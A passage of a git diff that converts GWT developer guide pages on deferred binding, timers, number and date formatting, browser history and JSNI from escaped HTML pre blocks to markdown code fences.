 The actual replacement rules are specified in `Popup.gwt.xml`, as shown below:
 
-<pre class="prettyprint">
-&lt;module&gt;
+```
+<module>
 
-  &lt;!--  ... other configuration omitted ... --&gt;
+  <!--  ... other configuration omitted ... -->
 
-  &lt;!-- Fall through to this rule is the browser isn't IE or Mozilla --&gt;
-  &lt;replace-with class=&quot;com.google.gwt.user.client.ui.impl.PopupImpl&quot;&gt;
-    &lt;when-type-is class=&quot;com.google.gwt.user.client.ui.impl.PopupImpl&quot;/&gt;
-  &lt;/replace-with&gt;
+  <!-- Fall through to this rule is the browser isn't IE or Mozilla -->
+  <replace-with class="com.google.gwt.user.client.ui.impl.PopupImpl">
+    <when-type-is class="com.google.gwt.user.client.ui.impl.PopupImpl"/>
+  </replace-with>
 
-  &lt;!-- Mozilla needs a different implementation due to issue #410 --&gt;
-  &lt;replace-with class=&quot;com.google.gwt.user.client.ui.impl.PopupImplMozilla&quot;&gt;
-    &lt;when-type-is class=&quot;com.google.gwt.user.client.ui.impl.PopupImpl&quot; /&gt;
-    &lt;any&gt;
-      &lt;when-property-is name=&quot;user.agent&quot; value=&quot;gecko&quot;/&gt;
-      &lt;when-property-is name=&quot;user.agent&quot; value=&quot;gecko1_8&quot; /&gt;
-    &lt;/any&gt;
-  &lt;/replace-with&gt;
+  <!-- Mozilla needs a different implementation due to issue #410 -->
+  <replace-with class="com.google.gwt.user.client.ui.impl.PopupImplMozilla">
+    <when-type-is class="com.google.gwt.user.client.ui.impl.PopupImpl" />
+    <any>
+      <when-property-is name="user.agent" value="gecko"/>
+      <when-property-is name="user.agent" value="gecko1_8" />
+    </any>
+  </replace-with>
 
-  &lt;!-- IE has a completely different popup implementation --&gt;
-  &lt;replace-with class=&quot;com.google.gwt.user.client.ui.impl.PopupImplIE6&quot;&gt;
-    &lt;when-type-is class=&quot;com.google.gwt.user.client.ui.impl.PopupImpl&quot;/&gt;
-    &lt;when-property-is name=&quot;user.agent&quot; value=&quot;ie6&quot; /&gt;
-  &lt;/replace-with&gt;
-&lt;/module&gt;
-</pre>
+  <!-- IE has a completely different popup implementation -->
+  <replace-with class="com.google.gwt.user.client.ui.impl.PopupImplIE6">
+    <when-type-is class="com.google.gwt.user.client.ui.impl.PopupImpl"/>
+    <when-property-is name="user.agent" value="ie6" />
+  </replace-with>
+</module>
+```
 
 These directives tell the GWT compiler to swap out the `PopupImpl` class code with different class implementations according to the `user.agent` property. The
 `Popup.gwt.xml` file specifies a default implementation for the `PopupImpl` class, an overide for the Mozilla browser (`PopupImplMozilla` is substituted for
@@ -109,33 +110,33 @@
 To see how this is used when designing a widget, we will examine the case of the `PopupPanel` widget further. The `PopupPanel` class implements the user visible
 API and contains logic that is common to all browsers. It also instantiates the proper implementation specific logic using the [GWT.create(Class)](/javadoc/latest/com/google/gwt/core/client/GWT.html#create(java.lang.Class)) as follows:
 
-<pre class="prettyprint">
-  private static final PopupImpl impl = GWT.create(PopupImpl.class);
-</pre>
+```
+private static final PopupImpl impl = GWT.create(PopupImpl.class);
+```
 
 The two classes PopupImplMozilla and PopupImplIE6 extend the PopupImpl class and override some `PopupImpl`'s methods to implement browser specific behavior.
 
 Then, when the `PopupPanel` class needs to switch to some browser dependent code, it accesses a member function inside the `PopupImpl` class:
 
-<pre class="prettyprint">
-  public void setVisible(boolean visible) {
+```
+public void setVisible(boolean visible) {
     // ... common code for all implementations of PopupPanel ...
 
     // If the PopupImpl creates an iframe shim, it's also necessary to hide it
     // as well.
     impl.setVisible(getElement(), visible);
   }
-</pre>
+```
 
 The default implementation of `PopupImpl.setVisible()` is empty, but `PopupImplIE6` has some special logic implemented as a [JSNI](DevGuideCodingBasics.html#DevGuideJavaScriptNativeInterface) method:
 
-<pre class="prettyprint">
-  public native void setVisible(Element popup, boolean visible) /*-{
+```
+public native void setVisible(Element popup, boolean visible) /*-{
     if (popup.__frame) {
       popup.__frame.style.visibility = visible ? 'visible' : 'hidden';
     }
   }-*/;{
-</pre>
+```
 
 After the GWT compiler runs, it prunes out any unused code. If your application references the `PopupPanel` class, the compiler will create a separate JavaScript output
 file for each browser, each containing only one of the implementations: `PopupImpl`, `PopupImplIE6` or `PopupImplMozilla`. This means that each browser only
@@ -150,28 +151,28 @@
 The following is an example of how a deferred binding generator is specified to the compiler in the [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml)
 hierarchy for the `RemoteService` class - used for GWT-RPC:
 
-*   Top level _&lt;module&gt;_.gwt.xml _**inherits**_ [com.google.gwt.user.User](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/User.gwt.xml)
+*   Top level `<module>.gwt.xml` _**inherits**_ [com.google.gwt.user.User](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/User.gwt.xml)
 *   [com/google/gwt/user/User.gwt.xml](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/User.gwt.xml) _**inherits**_ [com.googl.gwt.user.RemoteService](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/RemoteService.gwt.xml)
-*   [com/google/gwt/user/RemoteService.gwt.xml](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/RemoteService.gwt.xml) _**contains**_ `&lt;generates-with&gt;` elements to define deferred binding rules for the `RemoteService` class.
+*   [com/google/gwt/user/RemoteService.gwt.xml](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/RemoteService.gwt.xml) _**contains**_ `<generates-with>` elements to define deferred binding rules for the `RemoteService` class.
 
 ## Generator Configuration in Module XML<a id="generator"></a>
 
-The XML element `&lt;generate-with&gt;` tells the compiler to use a `Generator` class. Here are the contents of the `RemoteService.gwt.xml` file relevant
+The XML element `<generate-with>` tells the compiler to use a `Generator` class. Here are the contents of the `RemoteService.gwt.xml` file relevant
 to deferred binding:
 
-<pre class="prettyprint">
-&lt;module&gt;
+```
+<module>
 
- &lt;!--  ... other configuration omitted ... --&gt;
+ <!--  ... other configuration omitted ... -->
 
- &lt;!-- Default warning for non-static, final fields enabled --&gt;
- &lt;set-property name=&quot;gwt.suppressNonStaticFinalFieldWarnings&quot; value=&quot;false&quot; /&gt;
+ <!-- Default warning for non-static, final fields enabled -->
+ <set-property name="gwt.suppressNonStaticFinalFieldWarnings" value="false" />
 
- &lt;generate-with class=&quot;com.google.gwt.user.rebind.rpc.ServiceInterfaceProxyGenerator&quot;&gt;
-   &lt;when-type-assignable class=&quot;com.google.gwt.user.client.rpc.RemoteService&quot; /&gt;
- &lt;/generate-with&gt;
-&lt;/module&gt;
-</pre>
+ <generate-with class="com.google.gwt.user.rebind.rpc.ServiceInterfaceProxyGenerator">
+   <when-type-assignable class="com.google.gwt.user.client.rpc.RemoteService" />
+ </generate-with>
+</module>
+```
 
 These directives instruct the GWT compiler to invoke methods in a [Generator](/javadoc/latest/com/google/gwt/core/ext/Generator.html) subclass (`ServiceInterfaceProxyGenerator`) in order to generate special code when the deferred binding mechanism [GWT.create()](/javadoc/latest/com/google/gwt/core/client/GWT.html#create(java.lang.Class)) is encountered while
 compiling. In this case, if the [GWT.create()](/javadoc/latest/com/google/gwt/core/client/GWT.html#create(java.lang.Class)) call references an instance of `RemoteService` or one of its subclasses, the `ServiceInterfaceProxyGenerator`'s generate() method
@@ -185,7 +186,7 @@
 
 The following code shows the `Generator` that is responsible for deferred binding of a `RemoteService` interface:
 
-<pre class="prettyprint">
+```
 /**
  * Generator for producing the asynchronous version of a
  * {@link com.google.gwt.user.client.rpc.RemoteService RemoteService} interface.
@@ -194,11 +195,11 @@
 
   /**
    * Generate a default constructible subclass of the requested type. The
-   * generator throws &lt;code&gt;UnableToCompleteException&lt;/code&gt; if for any reason
+   * generator throws <code>UnableToCompleteException</code> if for any reason
    * it cannot provide a substitute class
    *
    * @return the name of a subclass to substitute for the requested class, or
-   *         return &lt;code&gt;null&lt;/code&gt; to cause the requested type itself to be
+   *         return <code>null</code> to cause the requested type itself to be
    *         used
    *
    */
@@ -210,27 +211,27 @@
 
     JClassType remoteService = typeOracle.findType(requestedClass);
     if (remoteService == null) {
-      logger.log(TreeLogger.ERROR, &quot;Unable to find metadata for type '&quot;
-          + requestedClass + &quot;'&quot;, null);
+      logger.log(TreeLogger.ERROR, "Unable to find metadata for type '"
+          + requestedClass + "'", null);
       throw new UnableToCompleteException();
     }
 
     if (remoteService.isInterface() == null) {
       logger.log(TreeLogger.ERROR, remoteService.getQualifiedSourceName()
-          + &quot; is not an interface&quot;, null);
+          + " is not an interface", null);
       throw new UnableToCompleteException();
     }
 
     ProxyCreator proxyCreator = new ProxyCreator(remoteService);
 
     TreeLogger proxyLogger = logger.branch(TreeLogger.DEBUG,
-        &quot;Generating client proxy for remote service interface '&quot;
-            + remoteService.getQualifiedSourceName() + &quot;'&quot;, null);
+        "Generating client proxy for remote service interface '"
+            + remoteService.getQualifiedSourceName() + "'", null);
 
     return proxyCreator.create(proxyLogger, ctx);
   }
 }
-</pre>
+```
 
 The `typeOracle` is an object that contains information about the Java code that has already been parsed that the generator may need to consult. In this case, the
 `generate()` method checks it arguments and the passes off the bulk of the work to another class (`ProxyCreator`).
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasicsDelayed.md b/src/main/markdown/doc/latest/DevGuideCodingBasicsDelayed.md
index 9ce2f20..e3c916a 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasicsDelayed.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasicsDelayed.md
@@ -23,16 +23,16 @@
 
 To create a timer, create a new instance of the Timer class and then override the run() method entry point.
 
-<pre class="prettyprint">
-   Timer timer = new Timer() {
+```
+Timer timer = new Timer() {
       public void run() {
-        Window.alert (&quot;Timer expired!&quot;);
+        Window.alert ("Timer expired!");
       }
     };
 
     // Execute the timer to expire 2 seconds in the future
     timer.schedule(2000);
-</pre>
+```
 
 Notice that the timer will not have a chance to execute the run() method until after control returns to the JavaScript event loop.
 
@@ -47,7 +47,7 @@
 
 Below is a an example of using a timeout with a [Remote Procedure Call](DevGuideServerCommunication.html#DevGuideRemoteProcedureCalls) (RPC).
 
-<pre class="prettyprint">
+```
 import com.google.gwt.user.client.Timer;
 import com.google.gwt.user.client.Window;
 import com.google.gwt.user.client.rpc.AsyncCallback;
@@ -68,14 +68,14 @@
 
     // Check to make sure the timer isn't already running.
     if (timeoutTimer != null) {
-        Window.alert(&quot;Command is already running!&quot;);
+        Window.alert("Command is already running!");
         return;
     }
 
     // Create a timer to abort if the RPC takes too long
     timeoutTimer = new Timer() {
       public void run() {
-        Window.alert(&quot;Timeout expired.&quot;);
+        Window.alert("Timeout expired.");
         timeoutTimer = null;
         abortFlag = true;
       }
@@ -89,7 +89,7 @@
     myService.myRpcMethod(arg, new AsyncCallback() {
 
       public void onFailure(Throwable caught) {
-         Window.alert(&quot;RPC Failed:&quot; + caught);
+         Window.alert("RPC Failed:" + caught);
          cancelTimer();
       }
 
@@ -99,7 +99,7 @@
            // Timeout already occurred. discard result
            return;
          }
-         Window.alert (&quot;RPC returned: &quot;+ (String)result);
+         Window.alert ("RPC returned: "+ (String)result);
       }
     }
   }
@@ -112,7 +112,7 @@
     }
   }
 }
-</pre>
+```
 
 ### Periodically Running Logic<a id="running"></a>
 
@@ -120,7 +120,7 @@
 some sort of animation on the screen. In this case, use the Timer class
 [scheduleRepeating()](/javadoc/latest/com/google/gwt/user/client/Timer.html#scheduleRepeating(int)) method:
 
-<pre class="prettyprint">
+```
 public class Foo {
 
   // A timer to update the elapsed time count
@@ -152,11 +152,11 @@
    */
   private void showElapsed () {
     double elapsedTime = (System.currentTimeMillis() - startTime) / 1000.0;
-    NumberFormat n = NumberFormat.getFormat(&quot;#,##0.000&quot;);
-    elapsedLabel.setText(&quot;Elapsed: &quot; + n.format(elapsedTime));
+    NumberFormat n = NumberFormat.getFormat("#,##0.000");
+    elapsedLabel.setText("Elapsed: " + n.format(elapsedTime));
   }
 }
-</pre>
+```
 
 ## Deferring some logic into the immediate future: the Scheduler class<a id="deferred"></a>
 
@@ -166,9 +166,8 @@
 interface a chance to process some user events or initialize other code. To use the `Scheduler` class in its simplest form, you create a subclass of the [Command](/javadoc/latest/com/google/gwt/user/client/Command.html) class, overriding the execute() method and pass
 it to [Scheduler.scheduleDeferred](/javadoc/latest/com/google/gwt/core/client/Scheduler.html#scheduleDeferred(Command))
 
-<pre class="prettyprint">
-
-  TextBox dataEntry;
+```
+TextBox dataEntry;
 
   // Set the focus on the widget after setup completes.
   Scheduler.get().scheduleDeferred(new Command() {
@@ -178,12 +177,12 @@
   });
 
   dataEntry = new TextBox();
-</pre>
+```
 
 ## Avoiding Slow Script Warnings: the IncrementalCommand class<a id="incremental"></a>
 
 AJAX developers need to be aware of keeping the browser responsive to the user. When JavaScript code is running, user interface components like buttons and text areas will not
-respond to user input. If the browser were to allow this to continue, the user might think the browser is &quot;hung&quot; and be tempted to restart it. But browsers have a built-in defense
+respond to user input. If the browser were to allow this to continue, the user might think the browser is "hung" and be tempted to restart it. But browsers have a built-in defense
 mechanism, the _unresponsive script warning_.
 
 ![img](images/UnresponsiveScriptDialog.png)
@@ -197,7 +196,7 @@
 
 The following example is an outline of how to use the IncrementalCommand class to do some computation in a way that allows the browser's user interface to be responsive:
 
-<pre class="prettyprint">
+```
 public class IncrementalCommandTest implements EntryPoint {
 
   // Number of times doWork() is called
@@ -214,7 +213,7 @@
   Button button;
 
   public void onModuleLoad() {
-    button = new Button(&quot;Start Computation&quot;);
+    button = new Button("Start Computation");
 
     button.addClickHandler(new ClickHandler () {
       public void onClick(ClickEvent event) {
@@ -236,7 +235,7 @@
       int counter = 0;
 
       public boolean execute() {
-        for (int i=0;i&lt;WORK_CHUNK;i++) {
+        for (int i=0;i<WORK_CHUNK;i++) {
           counter++;
 
           result += doWork();
@@ -274,4 +273,5 @@
 
     return result;
   }
-</pre>
+```
+
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasicsFormatting.md b/src/main/markdown/doc/latest/DevGuideCodingBasicsFormatting.md
index 1186d93..062ddbb 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasicsFormatting.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasicsFormatting.md
@@ -11,9 +11,9 @@
 In order to use the `NumberFormat` or `DateTimeFormat` classes, you should update your [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml.html) with
 the following _inherits_ line:
 
-<pre class="prettyprint">
-  &lt;inherits name=&quot;com.google.gwt.i18n.I18N&quot;/&gt;
-</pre>
+```
+<inherits name="com.google.gwt.i18n.I18N"/>
+```
 
 See the [internationalization topic](DevGuideI18n.html) for more information about setting up locale.
 
@@ -25,39 +25,39 @@
 When using the `NumberFormat` class, you do not instantiate it directly. Instead, you retrieve an instance by calling one of its static `get...Format()` methods.
 For most cases, you probably want to use the default decimal format:
 
-<pre class="prettyprint">
-    NumberFormat fmt = NumberFormat.getDecimalFormat();
+```
+NumberFormat fmt = NumberFormat.getDecimalFormat();
     double value = 12345.6789;
     String formatted = fmt.format(value);
     // Prints 1,2345.6789 in the default locale
-    GWT.log(&quot;Formatted string is&quot; + formatted, null);
-</pre>
+    GWT.log("Formatted string is" + formatted, null);
+```
 
 The class can also be used to convert a numeric string back into a double:
 
-<pre class="prettyprint">
-    double value = NumberFormat.getDecimalFormat().parse(&quot;12345.6789&quot;);
-    GWT.log(&quot;Parsed value is&quot; + value, null);
-</pre>
+```
+double value = NumberFormat.getDecimalFormat().parse("12345.6789");
+    GWT.log("Parsed value is" + value, null);
+```
 
 The `NumberFormat` class also provides defaults for scientific notation:
 
-<pre class="prettyprint">
-    double value = 12345.6789;
+```
+double value = 12345.6789;
     String formatted = NumberFormat.getScientificFormat().format(value);
     // prints 1.2345E4 in the default locale
-    GWT.log(&quot;Formatted string is&quot; + formatted, null);
-</pre>
+    GWT.log("Formatted string is" + formatted, null);
+```
 
 Note that you can also specify your own pattern for formatting numbers. In the example below, we want to show 6 digits of precision on the right hand side of the decimal and
 format the left hand side with zeroes up to the hundred thousands place:
 
-<pre class="prettyprint">
-    double value = 12345.6789;
-    String formatted = NumberFormat.getFormat(&quot;000000.000000&quot;).format(value);
+```
+double value = 12345.6789;
+    String formatted = NumberFormat.getFormat("000000.000000").format(value);
     // prints 012345.678900 in the default locale
-    GWT.log(&quot;Formatted string is&quot; + formatted, null);
-</pre>
+    GWT.log("Formatted string is" + formatted, null);
+```
 
 Here are the most commonly used pattern symbols for decimal formats:
 
@@ -106,8 +106,8 @@
 
 For the `DateTimeFormat` class, there are a large number of default formats defined.
 
-<pre class="prettyprint">
-    Date today = new Date();
+```
+Date today = new Date();
 
     // prints Tue Dec 18 12:01:26 GMT-500 2007 in the default locale.
     GWT.log(today.toString(), null);
@@ -126,7 +126,7 @@
 
     // prints Dec 18, 2007 12:01:26 PM in the default locale
     GWT.log(DateTimeFormat.getMediumDateTimeFormat().format(today), null);
-</pre>
+```
 
 Like the `NumberFormat` class, you can also use this class to parse a date from a `String` into a `Date` representation. You also have the option of using
 the default formats for date and time combinations, or you may build your own using a pattern string. See the [DateTimeFormat](/javadoc/latest/com/google/gwt/i18n/client/DateTimeFormat.html) class documentation for specifics on how to create your own patterns.
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasicsHistory.md b/src/main/markdown/doc/latest/DevGuideCodingBasicsHistory.md
index e680078..46c81e1 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasicsHistory.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasicsHistory.md
@@ -16,26 +16,26 @@
 ## The GWT History Mechanism<a id="mechanism"></a>
 
 GWT's History mechanism has a lot in common with other Ajax history implementations, such as [RSH (Really
-Simple History)](http://code.google.com/p/reallysimplehistory). The basic premise is to keep track of the application's &quot;internal state&quot; in the url fragment identifier. This works because updating the fragment doesn't
+Simple History)](http://code.google.com/p/reallysimplehistory). The basic premise is to keep track of the application's "internal state" in the url fragment identifier. This works because updating the fragment doesn't
 typically cause the page to be reloaded.
 
 This approach has several benefits:
 
 *   It's about the only way to control the browser's history reliably.
 *   It provides good feedback to the user.
-*   It's &quot;bookmarkable&quot;. I.e., the user can create a bookmark to the current state and save it, email it, et cetera.
+*   It's "bookmarkable". I.e., the user can create a bookmark to the current state and save it, email it, et cetera.
 
 ## History Tokens<a id="tokens"></a>
 
 GWT includes a mechanism to help Ajax developers activate browser history. For each page that is to be navigable in the history, the application should generate a unique
 history token. A token is simply a string that the application can parse to return to a particular state. This token will be saved in browser history as a URL fragment (in the
-location bar, after the &quot;#&quot;), and this fragment is passed back to the application when the user goes back or forward in history, or follows a link.
+location bar, after the "#"), and this fragment is passed back to the application when the user goes back or forward in history, or follows a link.
 
-For example, a history token named &quot;page1&quot; would be added to a URL as follows:
+For example, a history token named "page1" would be added to a URL as follows:
 
-<pre class="prettyprint">
+```
 http://www.example.com/com.example.gwt.HistoryExample/HistoryExample.html#page1
-</pre>
+```
 
 When the application wants to push a placeholder onto the browser's history stack, it simply invokes [History.newItem(token)](/javadoc/latest/com/google/gwt/user/client/History.html#newItem(java.lang.String)). When
 the user uses the back button, a call will be made to any object that was added as a handler with [History.addValueChangeHandler()](/javadoc/latest/com/google/gwt/user/client/History.html#addValueChangeHandler(com.google.gwt.event.logical.shared.ValueChangeHandler)). It is up to the application to restore the state according to the value of the new token.
@@ -44,11 +44,11 @@
 
 To use GWT History support, you must first embed an iframe into your [host HTML page](DevGuideOrganizingProjects.html#DevGuideHostPage).
 
-<pre class="prettyprint">
-  &lt;iframe src=&quot;javascript:''&quot;
-          id=&quot;__gwt_historyFrame&quot;
-          style=&quot;position:absolute;width:0;height:0;border:0&quot;&gt;&lt;/iframe&gt;
-</pre>
+```
+<iframe src="javascript:''"
+          id="__gwt_historyFrame"
+          style="position:absolute;width:0;height:0;border:0"></iframe>
+```
 
 Then, in your GWT application, perform the following steps:
 
@@ -57,7 +57,7 @@
 
 The following short example shows how to add a history event each time the user selects a new tab in a [TabPanel](/javadoc/latest/com/google/gwt/user/client/ui/TabPanel.html).
 
-<pre class="prettyprint">
+```
 import com.google.gwt.core.client.EntryPoint;
 import com.google.gwt.event.logical.shared.SelectionEvent;
 import com.google.gwt.event.logical.shared.SelectionHandler;
@@ -69,7 +69,7 @@
 import com.google.gwt.user.client.ui.TabPanel;
 
 /**
- * Entry point classes define &lt;code&gt;onModuleLoad()&lt;/code&gt;.
+ * Entry point classes define <code>onModuleLoad()</code>.
  */
 public class BrowserHistoryExample implements EntryPoint {
 
@@ -80,22 +80,22 @@
   public void onModuleLoad() {
     tabPanel = new TabPanel();
 
-    tabPanel.add(new HTML(&quot;&lt;h1&gt;Page 0 Content: Llamas&lt;/h1&gt;&quot;), &quot; Page 0 &quot;);
-    tabPanel.add(new HTML(&quot;&lt;h1&gt;Page 1 Content: Alpacas&lt;/h1&gt;&quot;), &quot; Page 1 &quot;);
-    tabPanel.add(new HTML(&quot;&lt;h1&gt;Page 2 Content: Camels&lt;/h1&gt;&quot;), &quot; Page 2 &quot;);
+    tabPanel.add(new HTML("<h1>Page 0 Content: Llamas</h1>"), " Page 0 ");
+    tabPanel.add(new HTML("<h1>Page 1 Content: Alpacas</h1>"), " Page 1 ");
+    tabPanel.add(new HTML("<h1>Page 2 Content: Camels</h1>"), " Page 2 ");
 
-    tabPanel.addSelectionHandler(new SelectionHandler&lt;Integer&gt;(){
-      public void onSelection(SelectionEvent&lt;Integer&gt; event) {
-        History.newItem(&quot;page&quot; + event.getSelectedItem());
+    tabPanel.addSelectionHandler(new SelectionHandler<Integer>(){
+      public void onSelection(SelectionEvent<Integer> event) {
+        History.newItem("page" + event.getSelectedItem());
      );
 
-    History.addValueChangeHandler(new ValueChangeHandler&lt;String&gt;() {
-      public void onValueChange(ValueChangeEvent&lt;String&gt; event) {
+    History.addValueChangeHandler(new ValueChangeHandler<String>() {
+      public void onValueChange(ValueChangeEvent<String> event) {
         String historyToken = event.getValue();
 
         // Parse the history token
         try {
-          if (historyToken.substring(0, 4).equals(&quot;page&quot;)) {
+          if (historyToken.substring(0, 4).equals("page")) {
             String tabIndexToken = historyToken.substring(4, 5);
             int tabIndex = Integer.parseInt(tabIndexToken);
             // Select the specified tab panel
@@ -114,7 +114,7 @@
     RootPanel.get().add(tabPanel);
   }
 }
-</pre>
+```
 
 ## Hyperlink Widgets<a id="widgets"></a>
 
@@ -138,38 +138,39 @@
 </tr>
 
 <tr>
-<td style="border: 1px solid #aaa; padding: 5px;">&quot;info&quot;</td>
+<td style="border: 1px solid #aaa; padding: 5px;">"info"</td>
 <td style="border: 1px solid #aaa; padding: 5px;">Navigate to page where user enters biographic info. Restore previously entered data</td>
 </tr>
 
 <tr>
-<td style="border: 1px solid #aaa; padding: 5px;">&quot;page1&quot;</td>
+<td style="border: 1px solid #aaa; padding: 5px;">"page1"</td>
 <td style="border: 1px solid #aaa; padding: 5px;">Navigate to page 1 in the questionnaire. Restore previous answers.</td>
 </tr>
 
 <tr>
-<td style="border: 1px solid #aaa; padding: 5px;">&quot;page2&quot;</td>
+<td style="border: 1px solid #aaa; padding: 5px;">"page2"</td>
 <td style="border: 1px solid #aaa; padding: 5px;">Navigate to page 2 in the questionnaire. Restore previous answers.</td>
 </tr>
 
 <tr>
-<td style="border: 1px solid #aaa; padding: 5px;">&quot;page&quot;
+<td style="border: 1px solid #aaa; padding: 5px;">"page"
 
-<pre>
-<span class="error">&lt;n&gt;</span>
-</pre>
+```
+<span class="error"><n></span>
+```
+
 </td>
 <td style="border: 1px solid #aaa; padding: 5px;">Navigate to page
 
-<pre>
-<span class="error">&lt;n&gt;</span>
-</pre>
+```
+<span class="error"><n></span>
+```
 
 ...</td>
 </tr>
 
 <tr>
-<td style="border: 1px solid #aaa; padding: 5px;">&quot;end&quot;</td>
+<td style="border: 1px solid #aaa; padding: 5px;">"end"</td>
 <td style="border: 1px solid #aaa; padding: 5px;">Navigate to the end of the questionnaire. Validate that all questions were answered. Make sure not to re-submit the
 questionnaire.</td>
 </tr>
@@ -178,11 +179,11 @@
 In the above case, navigating back to a page would be possible, but there isn't enough information in the history token to restore the user's previous answers. A better
 encoding for the token would be a syntax such as:
 
-<pre class="prettyprint">
-  page=&lt;pagename&gt;;session=&lt;sessionname&gt;
-</pre>
+```
+page=<pagename>;session=<sessionname>
+```
 
-Where `&lt;pagename&gt;` tells the application which page to go to and `&lt;sessionname&gt;` is a key to finding the user's previously entered data in a
+Where `<pagename>` tells the application which page to go to and `<sessionname>` is a key to finding the user's previously entered data in a
 database.
 
 ## Handling an onValueChange() callback<a id="onvaluechange"></a>
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasicsJSNI.md b/src/main/markdown/doc/latest/DevGuideCodingBasicsJSNI.md
index 610e119..8c885fc 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasicsJSNI.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasicsJSNI.md
@@ -46,11 +46,11 @@
 
 Here is a simple example of how to code a JSNI method that puts up a JavaScript alert dialog:
 
-<pre class="prettyprint">
+```
 public static native void alert(String msg) /*-{
   $wnd.alert(msg);
 }-*/;
-</pre>
+```
 
 Note that the code did not reference the JavaScript `window` object directly inside the method. When accessing the browser's window and document objects from JSNI, you
 must reference them as `$wnd` and `$doc`, respectively. Your compiled script runs in a nested frame, and `$wnd` and `$doc` are automatically
@@ -58,27 +58,27 @@
 
 Here is another example with a problem:
 
-<pre class="prettyprint">
+```
 public static native int badExample() /*-{
-  return &quot;Not A Number&quot;;
+  return "Not A Number";
 }-*/;
 
  public void onClick () {
    try {
       int myValue = badExample();
-      GWT.log(&quot;Got value &quot; + myValue, null);
+      GWT.log("Got value " + myValue, null);
    } catch (Exception e) {
-      GWT.log(&quot;JSNI method badExample() threw an exception:&quot;, e);
+      GWT.log("JSNI method badExample() threw an exception:", e);
    }
  }
-</pre>
+```
 
 This example compiles as Java, and its syntax is verified by the GWT compiler
 as valid JavaScript. But when you run the example code in [development mode](DevGuideCompilingAndDebugging.html#DevGuideDevMode),
 it returns an exception. Click on the line in the log window to display the exception in the message
 area below:
 
-<pre>
+```
 com.google.gwt.dev.shell.HostedModeException: invokeNativeInteger(@com.example.client.GWTObjectNotifyTest::badExample()): JS value of type string, expected int
     at com.google.gwt.dev.shell.JsValueGlue.getIntRange(JsValueGlue.java:343)
     at com.google.gwt.dev.shell.JsValueGlue.get(JsValueGlue.java:179)
@@ -87,7 +87,7 @@
     at com.example.client.GWTObjectNotifyTest.badExample(GWTObjectNotifyTest.java:29)
     at com.example.client.GWTObjectNotifyTest$1.onClick(GWTObjectNotifyTest.java:52)
     ...
-</pre>
+```
 
 In this case, neither the Java IDE nor the GWT compiler could tell that there was a type mismatch between the code inside the JSNI method and the Java declaration. The GWT
 generated interface code caught the problem at runtime in development mode. When
@@ -113,9 +113,9 @@
 Calling Java methods from JavaScript is somewhat similar to calling Java methods from C code in [JNI](http://download.oracle.com/javase/1.5.0/docs/guide/jni/index.html). In particular, JSNI borrows the JNI mangled method signature approach to distinguish among overloaded methods. JavaScript calls into Java methods are of
 the following form:
 
-<pre>
+```
 [instance-expr.]@class-name::method-name(param-signature)(arguments)
-</pre>
+```
 
 *   **instance-expr.** : must be present when calling an instance method and must be absent when calling a static method
 *   **class-name** : is the fully-qualified name of the class in which the method is declared (or a subclass thereof)
@@ -128,7 +128,7 @@
 
 Given the following Java classes:
 
-<pre class="prettyprint">
+```
 package pkg;
 class TopLevel {
   public TopLevel() { ... }
@@ -142,7 +142,7 @@
     public InstanceInner(int i) { ... }
   }
 }
-</pre>
+```
 
 We compare the Java expression versus the JSNI expression:
 
@@ -156,15 +156,15 @@
 
 Static and instance fields can be accessed from handwritten JavaScript. Field references are of the form
 
-<pre>
+```
 [instance-expr.]@class-name::field-name
-</pre>
+```
 
 #### Example<a id="example-fields"></a>
 
 Here's an example of accessing static and instance fields from JSNI.
 
-<pre class="prettyprint">
+```
 public class JSNIExample {
 
   String myInstanceField;
@@ -192,14 +192,14 @@
     var val = this.@com.google.gwt.examples.JSNIExample::myInstanceField;
 
     // Write instance field on x
-    x.@com.google.gwt.examples.JSNIExample::myInstanceField = val + &quot; and stuff&quot;;
+    x.@com.google.gwt.examples.JSNIExample::myInstanceField = val + " and stuff";
 
     // Read static field (no qualifier)
-    @com.google.gwt.examples.JSNIExample::myStaticField = val + &quot; and stuff&quot;;
+    @com.google.gwt.examples.JSNIExample::myStaticField = val + " and stuff";
   }-*/;
 
 }
-</pre>
+```
 
 > _Tip: As of the GWT 1.5 release, the Java varargs construct is supported. The GWT compiler will translate varargs calls between two pieces of Java code, however,
 > calling a varargs Java method from JSNI will require the JavaScript caller to pass an array of the appropriate type._
@@ -213,7 +213,7 @@
 A way to make this kind of relationship work is to assign the method via JSNI to an external, globally visible JavaScript name that can be referenced by your hand-crafted
 JavaScript code.
 
-<pre class="prettyprint">
+```
 package mypackage;
 
 public MyUtilityClass
@@ -225,7 +225,7 @@
           $entry(@mypackage.MyUtilityClass::computeLoanInterest(IFI));
     }-*/;
 }
-</pre>
+```
 
 Notice that the reference to the exported method has been wrapped in a call to the `$entry` function. This implicitly-defined function ensures that the Java-derived method is executed with the uncaught exception handler installed and pumps a number of other utility services.  The `$entry` function is reentrant-safe and should be used anywhere that GWT-derived JavaScript may be called into from a non-GWT context.
 
@@ -321,7 +321,7 @@
 
 <tr>
 <td>`String` </td>
-<td>JavaScript string, as in `return &quot;boo&quot;;` </td>
+<td>JavaScript string, as in `return "boo";` </td>
 </tr>
 
 <tr>
@@ -341,13 +341,13 @@
 
 <tr>
 <td><a href="/javadoc/latest/com/google/gwt/core/client/JavaScriptObject.html">JavaScriptObject</a> </td>
-<td>native JavaScript object, as in `return document.createElement(&quot;div&quot;)` (see notes)</td>
